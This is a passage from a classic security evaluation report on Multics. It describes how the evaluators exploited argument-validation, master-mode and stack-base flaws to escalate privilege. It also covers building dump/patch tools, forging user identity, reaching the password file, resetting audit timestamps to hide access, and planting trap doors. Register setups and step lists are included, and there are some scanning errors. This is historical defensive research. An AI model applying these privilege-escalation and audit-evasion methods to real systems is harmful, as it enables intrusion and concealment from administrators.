Independently, a change was made to the MIT system which fixed this vulnerability in February 1973. The presence and exploitability of the vulnerability were verified on the RADC Multics which had not been updated to the version running at MIT. The method of correction chosen by MIT was rather "brute force." The argument validator was changed to require the modifier in the second word of each argument pointer always to be zero. This requirement solves the specific problem of the IDC modifier, but not the general problem of argument validation.

3.3.2 Master Mode Transfer

As described in Sections 2.1.2 and 2.2.4, the 645 CPU has a master mode in which privileged instructions may be executed and in which access checking is inhibited although address translation through segment and page tables is retained. (14) The original design of the Multics protection rings called for master mode code to be...

(13) Depending on the actual number of references made, the malicious user need only vary the number of indirect words pointing to legal and illegal arguments. We have assumed for simplicity here that the validator and the ring 0 program make only one reference each.

(14) The 645 also has an absolute mode in which all addresses are absolute core addresses rather than being translated by the segmentation hardware. This mode is used only to initialize the system.
restricted to ring 0 by convention. (15) This convention caused the fault handling mechanism to be excessively expensive due to the necessity of switching from the user ring into ring 0 and out again using the full software ring crossing mechanism. It was therefore proposed and implemented that the signaller, the module responsible for processing faults to be signalled to the user, (16) be permitted to run in the user ring to speed up fault processing. The signaller is a master mode procedure, because it must execute the RCU (Restore Control Unit) instruction to restart a process after a fault.

The decision to move the signaller to the user ring was not felt to be a security problem by the system designers, because master mode procedures could only be entered at word zero. The signaller would be assembled with the master mode pseudo-operation code at word zero to protect it from any malicious attempt by a user to execute an arbitrary sequence of instructions within the procedure. It was also proposed, although never implemented, that the code of master mode procedures in the user ring be specially audited. However as we shall see in Section 3.4.4, auditing does not guarantee victory in the "battle of wits" between the implementor and the penetrator. Auditing cannot be used to make up for fundamental security weaknesses.

It was postulated in the ESD/MCI vulnerability analysis that master mode procedures in the user ring represent a fundamental violation of the Multics security concept. Violating this concept moves the security controls from the basic hardware/software mechanism to the cleverness of the systems programmer who, being human, makes mistakes and commits oversights. The master mode procedures become classical "supervisor calls" with no rules for "sufficient" security checks. In fact, upon close examination of the signaller, this hypothesis was found to be true.

(15) This convention is enforced on the 6180. Privileged mode (the 6180 analogy to the 645 master mode) only has effect in ring 0. Outside ring 0, the hardware ignores the privileged mode bit.

(16) The signaller processed such faults as "zerodivide" and access violation which are signalled to the user. Page faults and segment faults which the user never sees are processed elsewhere in ring 0.
The master mode pseudo-operation code was designed only to protect master mode procedures from random calls within ring 0. It was not designed to withstand the attack of a malicious user, but only to operate in the relatively benign environment of ring 0.

The master mode program shown in Figure 6 assembles into the interpreted object code shown in Figure 7. The master mode procedure can only be entered at location zero. (17) By convention, the n entry points to the procedure are numbered from 0 to n-1. The number of the desired entry point must be in index register zero at the time of the call. The first two instructions in the master mode sequence check to ensure that index register zero is in bounds. If it is, the transfer on no carry (tnc) instruction indrights through the transfer vector to the proper entry. If index register zero is out of bounds, the processor registers are saved for debugging and control is transferred to "mxerror," a routine to crash the system because of an unrecoverable error.

This transfer to mxerror is the most obvious vulnerability. By moving the signaller into the user ring, the designers allowed a user to arbitrarily crash the system by transferring to signaller|0 with a bad value in index register zero. This vulnerability is not too serious, since it does not compromise information and could be repaired by changing mxerror to handle the error, rather than crashing the system.

However, there is a much more subtle and dangerous vulnerability here. The trap|12,* instruction that is used to call mxerror believes that the lp register points to the linkage section of the signaller, which it should if the call were legitimate. However, a malicious user may set the lp register to point wherever he wishes, permitting him to transfer to an arbitrary location while the CPU is still in master mode. The key is the transfer in master mode, because this permits a transfer to an arbitrary location within another master mode procedure without access checking and without the restriction of entering at word zero. Thus, the penetrator need only find a convenient store instruction to be able to write into his own descriptor segment, for example. Figure 8 shows the use of a sta bp|0 instruction to change the contents of an SDW illegally.

(17) This restriction is enforced by hardware described in Section 2.1.2.
name master_test
mastermode
entry a
entry b
a:
  code
  ...

b:
  code
  ...
end

Figure 6. Master Mode Source Code

cmpx0  2,du    "call in bounds?"
tnc    transfer_vector,0  "Yes, go to entry"
sta    sp|0     "Illegal call here"
sreg   sp|10    "Save registers"
eapap  arglist  "Set up call"
std    sp|24
tra    lp|12,*  "lp|12 points to mxerror"

a:
  code
  ...

b:
  code
  ...
transfer_vector:
  tra    a
  tra    b
end

Figure 7. Master Mode Interpreted Object Code
Setup Conditions

A reg : = new SDW
Index 0 : = -1
lp : = address (POINTER) - 12
POINTER : = address (sta instruction)
bp : = address (SDW)

Figure 8. Store with Master Mode Transfer
There is one major difficulty in exploiting this vulnerability. The instruction to which control is transferred must be chosen with extreme care. The instructions immediately following the store must provide some orderly means of returning control to the malicious user without doing uncontrolled damage to the system. If a crucial data base is garbled, the system will crash leaving a core dump which could incriminate the penetrator.

This vulnerability was identified by ESD/HCI in June 1972. An attempt to use the vulnerability led to a system crash for the following reason: Due to an obsolete listing of the signaller, the transfer was made to an LDBR (Load Descriptor Base Register) instruction instead of the expected store instruction. The DBR was loaded with a garbled value, and the system promptly crashed. The system maintenance personnel, being unaware of the presence of an active penetration, attributed the crash to a disk read error.

The Master Mode Transfer vulnerability resulted from a violation of the fundamental rule that master mode code shall not be executed outside ring 0. The violation was not made maliciously by the system implementors. Rather it occurs because of the interaction of two seemingly independent events: the ability to transfer via the lp without the system being able to check the validity of the lp setting, and the ability for that transfer to be to master mode code. The separation of these events made the recognition of the problem unlikely during implementation.

3.3.3 Unlocked Stack Base

The 645 CPU has eight 18-bit registers that are used for inter-segment references. Control bits are associated with each register to allow it to be paired with another register as a word number-segment number pair. In addition, each register has a lock bit, settable only in master mode, which protects its contents from modification. By convention, the eight registers are named and paired as shown in Table 2.
TABLE 2
Base Register Pairing

<table>
<thead>
<tr>
<th>Number</th>
<th>Name</th>
<th>Use</th>
<th>Pairing</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>ap</td>
<td>argument pointer</td>
<td>paired with ab</td>
</tr>
<tr>
<td>1</td>
<td>ab</td>
<td>argument base</td>
<td>unpaired</td>
</tr>
<tr>
<td>2</td>
<td>bp</td>
<td>unassigned</td>
<td>paired with bh</td>
</tr>
<tr>
<td>3</td>
<td>bb</td>
<td>unassigned</td>
<td>unpaired</td>
</tr>
<tr>
<td>4</td>
<td>lp</td>
<td>linkage pointer</td>
<td>paired with lb</td>
</tr>
<tr>
<td>5</td>
<td>lb</td>
<td>linkage base</td>
<td>unpaired</td>
</tr>
<tr>
<td>6</td>
<td>sp</td>
<td>stack pointer</td>
<td>paired with sb</td>
</tr>
<tr>
<td>7</td>
<td>sb</td>
<td>stack base</td>
<td>unpaired</td>
</tr>
</tbody>
</table>

During the early design of the Multics operating system, it was felt that the ring 0 code could be simplified if the stack base (sb) register were locked, that is, could only be modified in master mode. The sb contained the segment number of the user stack which was guaranteed to be writeable. If the sb were locked, then the ring 0 fault and interrupt handlers could have convenient areas in which to store stack frames. After Multics had been released to users at MIT, it was realized that locking the stack base unnecessarily constrained language designers. Some languages would be extremely difficult to implement without the capability of quickly and easily switching between stack segments. Therefore, the system was modified to no longer lock the stack base.

When the stack base was unlocked, it was realized that there was code scattered throughout ring 0 which assumed that the sb always pointed to the stack. Therefore, ring 0 was "audited" for all code which depended on the locked stack base. However, the audit was never completed and the few dependencies identified were in general not repaired until much later.

As part of the vulnerability analysis, it was hypothesized that such an audit for unlocked stack base problems was presumably incomplete. The ring 0 code is so large that a subtle dependency on the sb register could...
easily slip by an auditor's notice. This, in fact proved to be true as shown below:

Section 3.3.2 showed that the master mode pseudo-operation code believed the value in the lp register and transferred through it. Figure 7 shows that the master mode pseudo-operation code also depends on the sb pointing to a writeable stack segment. When an illegal master mode call is made, the registers are saved on the stack prior to calling "mxerror" to crash the system. This code was designed prior to the unlocking of the stack base and was not detected in the system audit. The malicious user need only set the sp-sb pair to point anywhere to perform an illegal store of the registers with master mode privileges.

The exploitation of the unlocked stack base vulnerability was a two step procedure. The master mode pseudo-operation code stored all the processor registers in an area over 20 words long. This area was far too large for use in a system penetration in which at most one or two words are modified to give the agent the privileges he requires. However, storing a large number of words could be very useful to install a "trap door" in the system — that is a sequence of code which when properly invoked provides the penetrator with the needed tools to subvert the system. Such a "trap door" must be well hidden to avoid accidental discovery by the system maintenance personnel.

It was noted that the linkage segments of several of the ring 0 master mode procedures were preserved as separate segments rather than being combined in a single linkage segment. Further, these linkage segments were themselves master mode procedures. Thus, segments such as signaller, fml, and emergency_shutdown had corresponding master mode linkage segments signaller.link, fml.link, and emergency_shutdown.link. Linkage segments contain a great deal of information used only by the binder and therefore contain a great deal of extraneous information in ring 0. For this reason, a master mode linkage segment is an ideal place to conceal a "trap door." There is a master mode procedure called emergency_shutdown that is used to place the system in a consistent state in the event of a crash. Since emergency_shutdown is used only at the time of a system crash, its linkage segment, emergency_shutdown.link, was chosen to be used for the "trap door."
The first step of the exploitation of the unlocked stack base is shown in Figure 9. (18) The signaller is entered at location 0 with an invalid index register 0. The stack pointer is set to point to an area of extraneous storage in emergency_shutdown.link. The AQ register contains a two instruction "trap door" which when executed in master mode can load or store any 36-bit word in the system. The index registers could be used to hold a longer "trap door"; however, in this case the xed bpl0, tra bpl2 sequence is sufficient. The base registers, index registers, and AQ register are stored into emergency_shutdown.link, thus laying the "trap door". Finally a transfer is made indirect through lpl12 which has been pre-set as a return pointer. (19)

Step two of the exploitation of the unlocked stack base is shown in Figure 10. The calling program sets the hp register to point to the desired instruction pair and transfers to word zero of the signaller with an invalid value in index register 0. The signaller saves its registers on the user's stack frame since the sp has not been changed. It then transfers indirect through lpl12 which has been set to point to the "trap door" in emergency_shutdown.link. The first instruction of the "trap door" is an execute double (XED) which permits the user (penetration agent) to specify any two arbitrary instructions to be executed in master mode. In this example, the instruction pair loads the 0 register from a word in the stack frame (20) and then stores indirect through a pointer in the stack to an SMD in the descriptor segment. The second instruction in the "trap door" transfers back to the calling program, and the penetrator may go about his business.

(18) Listings of the code used to exploit this vulnerability are found in Appendix B.

(19) This transfer uses the Master Node Transfer vulnerability to return. This is done primarily for convenience. The fundamental vulnerability is the storing through the sp register. Without the Master Node Transfer, exploitation of the Unlocked Stack Base would have been more difficult, although far from impossible.

(20) It should be noted that only step one changed the value of the sp. In step two, it is very useful to leave the sp pointing to a valid stack frame.
**Setup Conditions**

- AQ register := xed \( bp | 0 \); tra \( bp | 2 \)
- Index 0 := -1
- \( sp \) := address (unused storage in emergency\_shutdown\_link)
- \( lp | 12 \) := address (return location)

**Figure 9.** Unlocked Stack Base (Step 1)
Figure 10. Unlocked Stack Base (Step 2)
The "trap door" inserted in emergency_shutdown_link remained in the system until the system was reinitialized. (21) At initialization time, a fresh copy of all ring zero segments is read in from the system tape erasing the "trap door". Since system initializations occur at least once per day, the penetrator must execute step one before each of his working sessions. Step two is then executed each time he wishes to access or modify some word in the system.

The unlocked stack base vulnerability was identified in June 1972 with the Master Mode Transfer Vulnerability. It was developed and used at the RADC site in September 1972 without a single system crash. In October 1972, the code was transferred to the MIT site. Due to lack of good telecommunications between the two sites, the code was manually retyped into the MIT system. A typing mistake was made that caused the word to be stored into the SDW to always be zero (See Figure 10). When an attempt was made to set slave access-data in the SDW of the descriptor segment itself, (22) the SDW of the descriptor segment was set to zero causing the system to crash at the next LDBR instruction or segment initiation. The bug was recognized and corrected immediately, but later in the day, a second crash occurred when the SDW for the ring zero segment file (the fault_intercept_module) was patched to slave access-write permit-data rather than slave access-write permit-slave procedure. In more straightforward terms, the SDW was set to read-write rather than read-write-execute. Therefore, when the system next attempted to execute the file it took a no-execute permission fault and tried to execute the file, thus entering an infinite loop crashing the system.

3.3.4 Preview of 6180 Software Vulnerabilities

The 6180 hardware implementation of rings renders invalid the attacks described here on the 645. This is not to say, however, that the 6180 MULTICS is free of vulnerabilities. A cursory examination of the 6180 software has revealed the existence of several software vulnerabilities, any one of which can be used to access

(21) See Section 3.4.5 for more lasting "trap doors".

(22) The attempt here was to dump the contents of the descriptor segment on the terminal. The user does not normally have read permission to his own descriptor segment.
any information in the system. These vulnerabilities were identified with comparable levels of effort to those shown in Section 3.5.

3.3.4.1 No Call Limiter Vulnerability

The first vulnerability is the No Call Limiter vulnerability. This vulnerability was caused by the call limiter not being set on gate segments, allowing the user to transfer to any instruction within the gate rather than to just an entry transfer vector. This vulnerability gives the penetrator the same capabilities as the Master Mode Transfer vulnerability.

3.3.4.2 SLT-KST Dual SDW Vulnerability

The second vulnerability is the SLT-KST Dual SDW vulnerability. When a user process was created on the 645, separate descriptor segments were created for each ring, with the ring 0 SDW's being copied from the segment loading table (SLT). The ring 0 descriptor segment was essentially a copy of the SLT for ring 0 segments. The ring 4 descriptor segment zeroed out most SDW's for ring 0 segments. Non-ring 0 SDW's were added to both the ring 0 and ring 4 descriptor segments from the Known Segment Table (KST) during segment initiation. Upon conversion to the 6180, the separate descriptor segments for each ring were merged into one descriptor segment containing ring brackets in each SDW <IPC73>. The ring 0 SDW's were still taken from the SLT and the non-ring 0 SDW's from the KST as on the 645.

The system contains several gates from ring 4 into ring 0 of varying levels of privilege. The least privileged gate is called hphcs_ and may be used by all users in ring 4. The most privileged gate is called hphcs_ and may only be called by system administration personnel. The gate hphcs_ contains routines to shut the system down, access any segment in the system, and patch ring 0 data bases. If a user attempts to call hphcs_ in the normal fashion, hphcs_ is entered into the KST, an SDW is assigned, and access rights are determined from the access control list stored in hphcs_'s parent directory. Since most users would not be on the access control list of hphcs_, access would be denied. Ring 0 gates, however, also have a second segment number assigned from the segment loading table (SLT). This duplication posed no problem on the 645, since SLT SDW's were valid only in the ring 0 descriptor segment. However on the 6180, the KST SDW for hphcs_ would be null access ring brackets 0,0,5,
but the SLT SDW would read-execute (re) access, ring brackets 0,0,5. Therefore, the penetrator need only transfer to the appropriate absolute segment number rather than using dynamic linking to gain access to any hphcscapability. This vulnerability was considerably easier to use than any of the others and was carried through identification, confirmation, and exploitation in less than 5 man-hours total (See Section 3.5).

3.3.4.3 Additional Vulnerabilities

The above mentioned 6180 vulnerabilities have been identified and repaired by Honeywell. The capabilities of the SLT-KST Dual SDW vulnerability were demonstrated to Honeywell on 14 September 1973 in the form of an illegal message to the operator's console at the 6180 site in the Honeywell plant in Phoenix, Arizona. Honeywell did not identify the cause of the vulnerability until March 1974 and installed a fix in Multics System 23.6. As of the time of this publication, additional vulnerabilities have been identified but at this time have not been developed into a demonstration.

3.4 Procedural Vulnerabilities

This section describes the exploitation by a remote user of several classes of procedural vulnerabilities. No attempt was made to penetrate physical security, as there were many admitted vulnerabilities in this area. In particular, the machine room was not secure and communications lines were not encrypted. Rather, this section looks at the areas of auditing, system configuration control, (23) passwords, and "privileged" users.

3.4.1 Dump and Patch Utilities

To provide support to the system maintenance personnel, the Multics system includes commands to dump or patch any word in the entire virtual memory. These

(23) System configuration control is a term derived from Air Force procurement procedures and refers to the control and management of the hardware and software being used in a system with particular attention to the software update tasks. It is not to be confused with the Multics dynamic reconfiguration capability which permits the system to add and delete processors and memories while the system is running.
utilities are used to make online repairs while the system continues to run. Clearly these commands are very dangerous, since they can bypass all security controls to access otherwise protected information, and if misused, can cause the system to crash by garbling critical data bases. To protect the system, these commands are implemented by special privileged gates into ring zero. The access control lists on these gates restrict their use to system maintenance personnel by name as authenticated by the login procedure. Thus an ordinary user nominally cannot access these utilities. To further protect the system, the patch utility records on the system operator's console every patch that is made. Thus, if an unexpected or unauthorized patch is made, the system operator can take immediate action by shutting the system down if necessary.

Clearly dump and patch utilities would be of great use to a system penetrator, since they can be used to facilitate his job. Procedural controls on the system dump and patch routines prevent the penetrator from using them by the ACL restrictions and the audit trail. However by using the software vulnerabilities described in section 3.3, these procedural controls may be bypassed and the penetration agent can implement his own dump and patch utilities as described below.

Dump and patch utilities were implemented on Multics using the Unlocked Stack Base and Insufficient Argument Validation vulnerabilities. These two vulnerabilities demonstrated two basically different strategies for accessing protected segments. These two strategies developed from the fact that the Unlocked Stack Base vulnerability operates in ring 4 master mode, while the Insufficient Argument Validation vulnerability operates in ring 0 slave mode. In addition, there was a requirement that a minimal amount of time be spent with the processor in an anomalous state - ring 4 master mode or ring 0 illegal code. When the processor is in an anomalous state, unexpected interrupts or events could cause the penetrator to be exposed in a system crash.

3.4.1.1 Use of Insufficient Argument Validation

As was mentioned above, the III S 645 implementation of Multics simulates protection rings by providing one descriptor segment for each ring. Patch and dump utilities can be implemented using the Insufficient Argument Validation vulnerability by realizing that the ring zero descriptor segment will have entries for
segments which are not accessible from ring 0. Conceptually, one could copy an SDW for some segment from the ring 0 descriptor segment to the ring 4 descriptor segment and be guaranteed at least as much access as available in ring 0. Since the segment number of a segment is the same in all rings, this approach is very easy to implement.

The exact algorithm is shown in flow chart form in Figure 11. In block 2 of the flow chart, the ring 4 SDW is read from the ring 4 descriptor segment (wdseg) using the Insufficient Argument Validation vulnerability. Next the ring 0 SDW is read from the ring 0 descriptor segment (dseg). The ring 0 SDW must now be checked for validity, since the segment may not be accessible even in ring 0. (24) An invalid SDW is represented by all 36 bits being zero. One danger present here is that if the segment in question is deactivated, (25) the SDW being checked may be invalidated while it is being manipulated. This event could conceivably have disastrous results, but as we shall see in Section 3.4.2, the patch routine need only be used on segments which are never deactivated. The dump routine can do no harm if it accidentally uses an invalid SDW, as it always only reads using the SDW, conceivably reading garbage but nothing else. Further, deactivation of the segment is highly unlikely since the segment is in "use" by the dump/patch routine.

If the ring 0 SDW is invalid, an error code is returned in block 5 of the flow chart and the routine terminates. Otherwise, the ring 0 SDW is stored into the ring 4 descriptor segment (wdseg) with read-execute-write access by turning on the SDW bits for slave access, write permission, slave procedure. (See Figure 2). Now the dump or patch can be performed without using the vulnerability to load or store each 36 bit word

(24) As an additional precaution, ring 0 slave mode programs run under the same access rules as all other programs. A valid SDW entry is made for a segment in any ring only if the user is on the ACL for the segment. We shall see in Section 3.4.2 how to get around this "security feature".

(25) A segment is deactivated when its page table is removed from core. Segment deactivation is performed on a least recently used basis, since not all page tables may be kept in core at one time.
Figure 11. DUMP/PATCH UTILITY USING INSUFFICIENT ARGUMENT VALIDATION
being moved. Finally in block 8, the ring 4 SDW is restored to its original value, so that a later unrelated system crash could not reveal the modified SDW in a dump. It should be noted that while blocks 2, 3, 6, and 8 all use the vulnerability, the bulk of the time is spent in block 7 actually performing the dump or patch in perfectly normal ring 4 slave mode code.

3.4.1.2 Use of Unlocked Stack Base

The Unlocked Stack Base vulnerability operates in a very different environment from the Insufficient Argument Validation vulnerability. Rather than running in ring 0, the Unlocked Stack Base vulnerability runs in ring 4 in master mode. In the ring 0 descriptor segment, the segment dseg is the ring 0 descriptor segment and wdseg is the ring 4 descriptor segment. (26) However, in the ring 4 descriptor segment, the segment dseg is the ring 4 descriptor segment and wdseg has a zeroed SDW. Therefore, a slightly different strategy must be used to implement dump and patch utilities as shown in the flow chart in Figure 12. (27) The primary difference here is in blocks 3 and 5 of Figure 12 in which the ring 4 SDW for the segment is used rather than the ring 0 SDW. Thus the number of segments which can be dumped or patched is reduced from those accessible in ring 0 to those accessible in ring 4 master mode. We shall see in Section 3.4.2 that this reduction is not crucial, since ring 4 master mode has sufficient access to provide "interesting" segments to dump or patch.

3.4.1.3 Generation of New SDW's

Two strategies for implementation of dump and patch utilities were shown above. In addition, a third strategy exists which was rejected due to its inherent dangers. In this third strategy, the penetrator selects an unused segment number and constructs an SDW occupying that segment number in the ring 4 descriptor

(26) Actually wdseg is the descriptor segment for whichever ring (1-7) was active at the time of the entry to ring 0. No conflict occurs since wdseg is always the descriptor segment for the ring on behalf of which ring 0 is operating.

(27) This strategy is also used with the Execute Instruction Access Check Bypass vulnerability which runs in ring 4.

42
Figure 12. DUMP/PATCH UTILITY USING UNLOCKED STACK BASE
segment using any of the vulnerabilities. This totally new SDW could then be used to access some part of the Multics hierarchy. However, two major problems are associated with this strategy which caused its rejection. First the absolute core address of the page table of the segment must be stored in the SDW address field. There is no easy way for a penetrator to obtain the absolute address of the page table for a segment not already in his descriptor segment short of duplicating the entire segment fault mechanism which runs to many hundreds or thousands of lines of code. Second, if the processor took a segment or page fault on this new SDW, the ring 0 software would malfunction, because the segment would not be recorded in the Known Segment Table (KST). This malfunction could easily lead to a system crash and the disclosure of the penetrator's activities. Therefore, the strategy of generating new SDW's was rejected.

3.4.2 Forging the Non-Forgeable User Identification

In Section 2.2.3 the need for a protected, non-forgeable identification of every user was identified. This non-forgeable ID must be compared with access control list entries to determine whether a user may access some segment. This identification is established when the user logs into Multics and is authenticated by the user password. (28) If this user identification can be forged in any way, then the entire login audit mechanism can be rendered worthless.

The user identification in Multics is stored in a per-process segment called the process data segment (PDS). The PDS resides in ring 0 and contains many constants used in ring 0 and the ring 0 procedure stack. The user identification is stored in the PDS as a character string representing the user's name and a character string representing the user's project. The PDS must be accessible to any ring 0 procedure within a user's process and must be accessible to ring 4 master mode procedures (such as the signaller). Therefore, as shown in Sections 3.4.1.1 and 3.4.1.2, the dump and patch utilities can dump and patch portions of the PDS, thus forging the non-forgeable user identification. Appendix E shows the actual user commands needed to forge the user

(28) Clearly more sophisticated authentication schemes than a single user chosen password could be used on Multics (see Richardson <Ric73>). However, such schemes are outside the scope of this paper.
identification.

This capability provides the penetrator with an "ultimate weapon". The agent can now undetectably masquerade as any user of the system including the system administrator or security officer, immediately assuming that user's access privileges. The agent has bypassed and rendered ineffective the entire login authentication mechanism with all its attendant auditing machinery. The user whom the agent is impersonating can login and operate without interference. Even the "who table" that lists all users currently logged into the system records the agent with his correct identification rather than the forgery. Thus to access any segment in the system, the agent need only determine who has access and change his user identification as easily as a legitimate user can change his working directory.

It was not obvious at the time of the analysis that changing the user identification would work. Several potential problems were foreseen that could lead to system crashes or could reveal the penetrator's presence. However, none of these proved to be a serious barrier to masquerading.

First, a user process occasionally sends a message to the operator's console from ring 0 to report some type of unusual fault such as a disk parity error. These messages are prefaced by the user's name and project taken from the PDS. It was feared that a random parity error could "blow the cover" of the penetrator by printing his modified identification on the operator's console. (29) However, the PDS in fact contains two copies of the user identification - one formatted for printing and one formatted for comparison with access control list entries. Ring 0 software keeps these strictly separated, so the penetrator need only change the access control identification.

Second, when the penetrator changes his user identification, he may lose access to his own programs, data and directories. The solution here is to assure that the access control lists of the needed segments and directories grant appropriate access to the user as whom the penetrator is masquerading.

(29) This danger exists only if the operator or system security officer is carefully correlating parity error messages with the names of currently logged in users.
Finally, one finds that although the penetrator can set the access control lists of his ring 4 segments appropriately, he cannot in any easy way modify the access control lists of certain per process supervisor segments including the process data segment (PDS), the process initialization table (PIT), the known segment table (KST), and the stack and combined linkage segments for ring 1, 2, and 3. The stack and combined linkage segments for ring 1, 2, and 3 can be avoided by not calling any ring 1, 2, or 3 programs while masquerading. However, the PDS, PIT, and KST are all ring 0 data bases that must be accessible at all times with read and write permission. This requirement could pose the penetrator a very serious problem; but, because of the very fact that these segments must always be accessible in ring 0, the system has already solved this problem. While the PIT, PDS, and KST are paged segments, (30) they are all used during segment fault handling. In order to avoid recursive segment faults, the PIT, PDS, and KST are never deactivated. (31) Deactivation, as mentioned above, is the process by which a segment's page table is removed from core and a segment fault is placed in its SDW. The access control bits are set in an SDW only at segment fault time. (32) Since the system never deactivates the PIT, PDS, and KST, under normal conditions, the SDW's are not modified for the life of the process. Since the process of changing user identification does not change the ring 0 SDW's of the PIT, PDS, and KST either, the penetrator retains access to these critical segments without any special action whatsoever.

(30) In fact the first page of the PDS is wired down so that it may be used by page control. The rest of the PDS, however, is not wired.

(31) In Multics jargon, their "entry hold switches" are set.

(32) In fact, a segment fault is also set in an SDW when the access control list of the corresponding segment is changed. This is done to ensure that access changes are reflected immediately, and is effected by setting faults in all descriptor segments that have active SDW's for the segment. This additional case is not a problem, because the access control lists of the PIT, PDS, and KST are never changed.
3.4.3 Accessing the Password File

One of the classic penetrations of an operating system has been unauthorized access to the password file. This type of attack on a system has become so embedded in the folklore of computer security that it even appears in the definition of a security "breach" in DOD 5200.28-M 〈DOD73〉. In fact, however, accessing the password file internal to the system proves to be of minimal value to a penetrator as shown below. For completeness, the Multics password file was accessed as part of this analysis.

3.4.3.1 Minimal Value of the Password File

It is asserted that accessing the system password file is of minimal value to a penetrator for several reasons. First, the password file is generally the most highly protected file in a computer system. If the penetrator has succeeded in breaking down the internal controls to access the password file, he can almost undoubtedly access every other file in the system. Why bother with the password file?

Second, the password file is often kept enciphered. A great deal of effort may be required to invert such a cipher, if indeed the cipher is invertible at all.

Finally, the login path to a system is generally the most carefully audited to attempt to catch unauthorized password use. The penetrator greatly risks detection if he uses an unauthorized password. It should be noted that an unauthorized password obtained outside the system may be very useful to a penetrator, if he does not already have access to the system. However, that is an issue of physical security which is outside the scope of this paper.

3.4.3.2 The Multics Password File

The Multics password file is stored in a segment called the person name table (PNT). The PNT contains an entry for each user on the system including that user's password and various pieces of auditing information. Passwords are chosen by the user and may be changed at any time. (33) Passwords are scrambled by an

(33) There is a major problem that user chosen passwords
allegedly non-invertible enciphering routine for protection in case the PNT appears in a system dump. Only encrypted passwords are stored in the system. The password check at login time is accomplished by the equivalent of the following PL/I code:

```
if scramble_(typed_password) = pnt.user.password
then call ok_to_login;
else call reject_login;
```

For the rest of this section, it will be assumed that the enciphering routine is non-invertible. In a separate volume 〈DOW74〉, Downey demonstrates the invertibility of the Multics password scrambler used at the time of the vulnerability analysis. (34)

The PNT is a ring 4 segment with the following access control list:

```
rw  *.SysAdmin.*
nul  *.**.*
```

Thus by modifying one's user identification to the SysAdmin project as in Section 3.4.2, one can immediately gain unrestricted access to the PNT. Since the passwords are encrypted, they cannot be read out of the PNT directly. However, the penetrator can extract a copy of the PNT for cryptanalysis. The penetrator can also change a user's password to the encrypted version of a known password. Of course, this action would lead to almost immediate discovery, since the user would no longer be able to login.

3.4.4 Modifying Audit Trails

Audit trails are frequently put into computer systems for the purpose of detecting breaches of security. For example, a record of last login time printed when a user logged in could detect the unauthorized use of a user's password and identification. However, we have seen that a penetrator using vulnerabilities in the operating

are often easy to guess. That problem, however, will not be addressed here. Multics provides a random password generator, but its use is not mandatory.

(34) ESD/MCI has provided a "better" password scrambler that is now used in Multics, since encrypting the password file is useful in case it should appear in a system dump.
system code can access information and bypass many such audits. Sometimes it is not convenient for the penetrator to bypass an audit. If the audit trail is kept online, it may be much easier to allow the audit to take place and then go back and modify the audit trail to remove or modify the evidence of wrong doing. One simple example of modification of audit trails was selected for this vulnerability demonstration.

Every segment in Multics carries with it audit information on the date time last used (DTU) and date time last modified (DTM). These dates are maintained by an audit mechanism at a very low level in the system, and it is almost impossible for a penetrator to bypass this mechanism. (35) An obvious approach would be to attempt to patch the DTU and DTM that are stored in the parent directory of the segment in question. However, directories are implemented as rather complex hash tables and are therefore very difficult to patch.

Once again, however, a solution exists within the system. A routine called set_dates is provided among the various subroutine calls into ring 0 which is used when a segment is retrieved from a backup tape to set the segment's DTU and DTM to the values at the time the segment was backed up. The routine is supposed to be callable only from a highly privileged gate into ring 0 that is restricted to system maintenance personnel. However, since a penetrator can change his user identification, this restriction proves to be no barrier. To access a segment without updating DTU or DTM:

1. Change user ID to access segment.
2. Remember old DTU and DTM.
3. Use or modify the segment.
4. Change user ID to system maintenance.
5. Reset DTU and DTM to old values.
6. Change user ID back to original.

In fact due to yet another system bug, the procedure is even easier. The module set_dates is callable, not only from the highly privileged gate into ring 0, but also from the normal user gate into ring 0. (36) Therefore, step 4

(35) Section 3.4.5 shows a motivation to bypass DTU and DTM.

(36) The user gate into ring 0 contains set_dates, so that users may perform reloads from private backup tapes.
in the above algorithm can be omitted if desired. A listing of the utility that changes DTU and DTM may be found in Appendix F.

It should be noted that one complication exists in step 5 - resetting DTU and DTM. The system does not update the dates in the directory entry immediately, but primarily at segment deactivation time. (37) Therefore, step 5 must be delayed until the segment has been deactivated - a delay of up to several minutes. Otherwise the penetrator could reset the dates, only to have them updated again a moment later.

3.4.5 Trap Door Insertion

Up to this point, we have seen how a penetrator can exploit existing weaknesses in the security controls of an operating system to gain unauthorized access to protected information. However, when the penetrator exploits existing weaknesses, he runs the constant risk that the system maintenance personnel will find and correct the weakness he happens to be using. The penetrator would then have to begin again looking for weaknesses. To avoid such a problem and to perpetuate access into the system, the penetrator can install "trap doors" in the system which permit him access, but are virtually undetectable.

3.4.5.1 Classes of Trap Doors

Trap doors come in many forms and can be inserted in many places throughout the operational life of a system from the time of design up to the time the system is replaced. Trap doors may be inserted at the facility at which the system is produced. Clearly if one of the system programmers is an agent, he can insert a trap door in the code he writes. However, if the production site is a (perhaps on-line) facility to which the penetrator can gain access, the penetrator can exploit existing vulnerabilities to insert trap doors into system software while the programmer is still working on it or while it is in quality assurance.

As a practical example, it should be noted that the software for VWVCCS is currently developed using uncleared personnel on a relatively open time sharing system at Honeywell's plant in Phoenix, Arizona.

(37) Dates may be updated at other times as well.
The software is monitored and distributed from an open
time sharing system at the Joint Technical Support Agency
(JTSA) at Reston, Virginia. Both of these sites are
potentially vulnerable to penetration and trap door
insertion.

Trap doors can be inserted during the
distribution phase. If updates are sent via insecure
communications - either US Mail or insecure
telecommunications, the penetrator can intercept the
update and subtly modify it. The penetrator could also
generate his own updates and distribute them using forged
stationery.

Finally, trap doors can be inserted
during the installation and operation of the system at the
user's site. Here again, the penetrator uses existing
vulnerabilities to gain access to stored copies of the
system and make subtle modifications.

Clearly when a trap door is inserted, it
must be well hidden to avoid detection by system
maintenance personnel. Trap doors can best be hidden in
changes to the binary code of a compiled routine. Such a
change is completely invisible on system listings and can
be detected only by comparing bit by bit the object code
and the compiler listing. However, object code trap doors
are vulnerable to recompilations of the module in
question.

Therefore the system maintenance
personnel could regularly recompile all modules of the
system to eliminate object code trap doors. However, this
precaution could play directly into the hands of the
penetrator who has also made changes in the source code of
the system. Source code changes are more visible than
object code changes, since they appear in system listings.
However, subtle changes can be made in relatively complex
algorithms that will escape all but the closest scrutiny.
Of course, the penetrator must be sure to change all
extant copies of a module to avoid discovery by a simple
comparison program.

Two classes of trap doors which are
themselves source or object trap doors are particularly
insidious and merit discussion here. These are the
teletype key string trigger trap door and the compiler
trap door.
